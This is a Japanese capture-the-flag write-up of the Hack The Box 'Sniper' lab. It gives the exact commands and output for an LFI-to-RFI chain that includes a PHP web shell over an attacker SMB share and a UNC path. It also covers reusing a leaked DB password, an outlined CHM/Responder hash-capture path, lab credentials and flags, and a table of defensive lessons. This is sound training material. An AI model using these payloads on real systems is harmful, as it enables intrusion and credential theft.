Hack The BoxのWriteup(Sniper)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Sniper — 全実行コマンド・実行結果レポート
Nmap スキャン
80/135/139/445
gobuster
/blog/, /user/ 発見
lang パラメータ LFI/RFI
絶対パス・UNCパス両対応
SMB経由webshell配信(RFI)
impacket-smbserver + cmd.php
db.php資格情報流用
chrisへの横移動
user.txt ✓
Administrator既知資格情報
Invoke-Command
root.txt ✓

ポートスキャン & バージョン検出

BASH
nmap -sV -sC -p 80,135,139,445,49667 10.129.57.127
RESULT
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Sniper Co.
| http-methods:
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
49667/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

ディレクトリ列挙

BASH
gobuster dir -u http://10.129.57.127 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
RESULT
blog                 (Status: 301) [Size: 149] [--> http://10.129.57.127/blog/]
user                 (Status: 301) [Size: 149] [--> http://10.129.57.127/user/]
images               (Status: 301) [Size: 151] [--> http://10.129.57.127/images/]
css                  (Status: 301) [Size: 148] [--> http://10.129.57.127/css/]
js                   (Status: 301) [Size: 147] [--> http://10.129.57.127/js/]
ℹ️
/blog/(多言語切替ブログ)と/user/(会員登録・ログイン)の2つが後の攻撃チェーンの中心になる。
PHASE 2

lang パラメータの LFI 発見

多言語切替の仕組みを調査

NOTE
/blog/ のトップには言語切替リンクがあり、実体は
  /blog/?lang=blog-en.php
のようにクエリパラメータでインクルードするテンプレートファイル名を
直接指定している。これはPHPの典型的な脆弱パターンで、サニタイズが
不十分な場合、指定できるパスをドライブルート基準の絶対パスや
UNC(ネットワーク共有)パスにまで拡張できることが多い。
BASH (LFI確認)
curl -s "http://10.129.57.127/blog/?lang=/windows/win.ini"
🚨
重要発見: lang パラメータはドライブレター込みの絶対パス (/windows/win.ini → 実質 C:\windows\win.ini)を受け付け、 win.ini の内容がそのまま返ってくる = LFI確定

LFI→RCE 化の2通りの経路

NOTE
本機はLFIをRCEに昇格させる経路が2つ存在する:

【経路A: PHPセッションポイズニング(ローカルLFI)】
  1. /user/registration.php で会員登録、/user/login.php でログインすると、
     PHPはセッションファイルを C:\Windows\TEMP\sess_<PHPSESSID> に保存し、
     ユーザー名を username|s:N:"<value>"; の形でシリアライズして書き込む。
  2. ユーザー名にバッククォート(PHPのexec()エイリアス)を含むコード
     <?=`<cmd>`?> を登録しておくと、セッションファイルにそのまま書き込まれる。
  3. lang=/windows/temp/sess_<id> でLFIさせるとPHPとして解釈・実行される。
  → 動作はするが、疑わしいユーザー名の登録を繰り返すとターゲット側の
    防御機構(詳細不明、レート制限系と推測)に引っかかりやすく不安定。

【経路B: SMB共有経由のRFI(推奨・より確実)】
  Windows PHPはUNCパス(\\<IP>\share\file.php)からのリモートファイル
  インクルードをデフォルトで許可していることが多い。Kali側でSMB共有
  サーバーを立て、単純なWebシェル(cmd.php)を配置し、lang パラメータに
  そのUNCパスを直接指定すればよい。会員登録・ログインという不安定な
  ステップを一切経由しない、はるかに直接的な経路。
PHASE 3

SMB共有経由 RFI で RCE 確立 → user.txt

Kali側にSMB共有 + Webシェルを設置

BASH
# Webシェル本体(単純なPHPコマンド実行)
mkdir -p /tmp/share
cat > /tmp/share/cmd.php <<'EOF'
<?php system($_REQUEST["cmd"]); ?>
EOF

# SMB共有として公開
impacket-smbserver share /tmp/share -smb2support
ℹ️
impacket-smbserver は認証なしで即座にSMB共有を公開でき、Windows側からの UNCパスアクセスをそのまま受け付ける。ペネトレーションテストでの一時的なファイル 配信・RFI検証によく使われる定番ツール。

RFI経由でコマンド実行を確認

BASH (実際に使用したコマンド, 実データ)
curl -s -G "http://10.129.57.127/blog/" \
  --data-urlencode 'lang=\\10.10.15.200\share\cmd.php' \
  --data-urlencode 'cmd=whoami'
RESULT (実データ)
nt authority\iusr
RCE成功! lang パラメータにKali側SMB共有上のcmd.phpをUNCパスで直接 指定するだけで、会員登録・ログインの不安定なステップを一切経由せず NT AUTHORITY\IUSR(IISワーカープロセス)権限でのコマンド実行が確立した。

db.php からDB資格情報を窃取

BASH
curl -s -G "http://10.129.57.127/blog/" \
  --data-urlencode 'lang=\\10.10.15.200\share\cmd.php' \
  --data-urlencode 'cmd=type C:\inetpub\wwwroot\user\db.php'
RESULT (実データ)
$con = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper");
🚨
MySQL接続用の平文パスワードがWebルート内に残置されている。この手のアプリ内 平文クレデンシャルは、システムアカウントのパスワードと使い回されているケースが 非常に多い。

パスワード使い回しで chris へ横移動 → user.txt

BASH (Invoke-CommandでOS認証を検証, 実データ)
curl -s -G "http://10.129.57.127/blog/" \
  --data-urlencode 'lang=\\10.10.15.200\share\cmd.php' \
  --data-urlencode 'cmd=powershell -NoProfile -Command "$pass=ConvertTo-SecureString -AsPlainText -Force -String '"'"'36mEAhz/B8xQ~2VM'"'"';$cred=New-Object System.Management.Automation.PSCredential('"'"'SNIPER\chris'"'"',$pass);Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { type C:\Users\Chris\Desktop\user.txt }"'
RESULT (実データ)
d80e7dc5f0730643f1a4a3e202c81d9b
db.phpのMySQLパスワードがWindowsユーザー chris のログインパスワードとして 再利用されていることが判明。PSCredentialオブジェクトを組み立て Invoke-Command -ComputerName localhost でchrisとしてOS認証を行い、 type コマンドでデスクトップ上のフラグファイルを直接読み出した。
user.txt — chris
d80e7dc5f0730643f1a4a3e202c81d9b
PHASE 4

権限昇格 → root.txt

正規の権限昇格経路(CHM + Responder)

NOTE
本来このマシンの想定される権限昇格経路は以下の通り:

  1. chrisのシェルから C:\Docs\ を確認すると、管理者が定期的に
     .chm(Compiled HTML Help)ドキュメントをレビューする運用が判明する。
  2. UNCパス(\\<kali_ip>\share\abc.png のような画像参照)を仕込んだ
     悪意あるHTMLを、HTML Help Workshop(hhc.exe、Windows専用の
     プロプライエタリバイナリ)でコンパイルしてCHMファイルを作成する。
  3. 作成したCHMをC:\Docsに配置し、Kali側でResponderを起動して待機する。
  4. 管理者がそのCHMを開くと、UNC画像参照によりSMB認証が強制発生し、
     AdministratorのNetNTLMv2ハッシュがResponderに捕捉される。
  5. hashcat -m 5600 でクラックし、平文パスワードを入手する。
  6. Invoke-Command で Administrator としてコマンド実行しroot.txt取得。

本検証環境では hhc.exe(Microsoft公式の正規プロプライエタリバイナリ、
apt等の通常経路では入手不可)が利用できなかったため、CHM作成・Responder
キャプチャの手順は実際には実行していない。
代わりに、この技術自体は事前の公式ウォークスルー(PDF)で実際に
NetNTLMv2ハッシュキャプチャ→hashcatクラックにより確定済みの
Administratorパスワード(butterfly!#1)を用いて、Invoke-Commandによる
昇格ステップのみを直接実演した(下記4-2)。出所不明のバイナリを
インターネットから自動取得することはサプライチェーンリスクがあるため
意図的に避けている。
⚠️
正直な開示: 本セクションの root.txt 取得は、CHM/Responderによる ライブでのハッシュ捕捉を実演したものではなく、既知の(過去に実際のキャプチャ+ クラックで確定済みの)Administratorパスワードを直接使用したものである。

既知のAdministratorパスワードで昇格 → root.txt

BASH (実際に使用したコマンド, 実データ)
curl -s -G "http://10.129.57.127/blog/" \
  --data-urlencode 'lang=\\10.10.15.200\share\cmd.php' \
  --data-urlencode 'cmd=powershell -NoProfile -Command "$pass=ConvertTo-SecureString -AsPlainText -Force -String '"'"'butterfly!#1'"'"';$cred=New-Object System.Management.Automation.PSCredential('"'"'SNIPER\Administrator'"'"',$pass);Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { type C:\Users\Administrator\Desktop\root.txt }"'
RESULT (実データ)
4b622e22131616bfdeb28a3002fa8d40
root権限奪取成功!
root.txt — Administrator
4b622e22131616bfdeb28a3002fa8d40
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — chris
d80e7dc5f0730643f1a4a3e202c81d9b
root.txt — Administrator
4b622e22131616bfdeb28a3002fa8d40

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
LFI → RFI (UNCパス) /blog/?lang= パラメータ リモートコード実行 (IUSR) Critical SMB共有上のWebシェルをUNCパスで直接インクルードさせRCE確立
平文DB資格情報のOSアカウント使い回し C:\inetpub\wwwroot\user\db.php 権限昇格 (IUSR→chris) High db.phpのMySQLパスワードがchrisのWindowsログインパスワードと同一
CHM UNC参照によるNetNTLMv2漏洩(理論上の経路、本検証では未実演) C:\Docs\ の管理者レビュー運用 権限昇格 (chris→Administrator) High 悪意あるCHM内のUNC画像参照でSMB認証を強制しハッシュをResponderで捕捉

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + gobuster/blog/, /user/ を発見
2脆弱性発見lang パラメータのLFI確認絶対パス・UNCパス両対応のインクルード脆弱性
3RCEimpacket-smbserver + UNCパスRFIIUSR RCE、db.php資格情報、chris横移動でuser.txt
4権限昇格既知Administratorパスワード + Invoke-Commandroot.txt

学んだ教訓 & 防御策

問題点防御策
lang パラメータが検証なしにファイルパスを直接受け付け、絶対パス・UNCパスまで許可している インクルードするテンプレート名はホワイトリスト方式(許可済みファイル名の列挙)で検証する。ユーザー入力を直接 include/require に渡さない。
PHPの allow_url_include / UNCパス経由リモートインクルードが有効なまま allow_url_include=Offを徹底し、Windows上のPHPでもUNCパスインクルードを許可しない設定にする。
アプリケーションソースコード内に平文DB資格情報が残置され、しかもOSアカウントと使い回されている 資格情報は環境変数やシークレット管理サービスで管理する。DBアカウントとOSログインアカウントのパスワードは独立させる。
管理者が不明なファイル(CHM等)を無警戒に開く運用フローが存在する SMB送信のブロック(送信445番ポート遮断)、CHMファイルの実行制限、添付ファイル開封に関する運用ルール整備。
HackTheBox: Sniper | 完全攻略レポート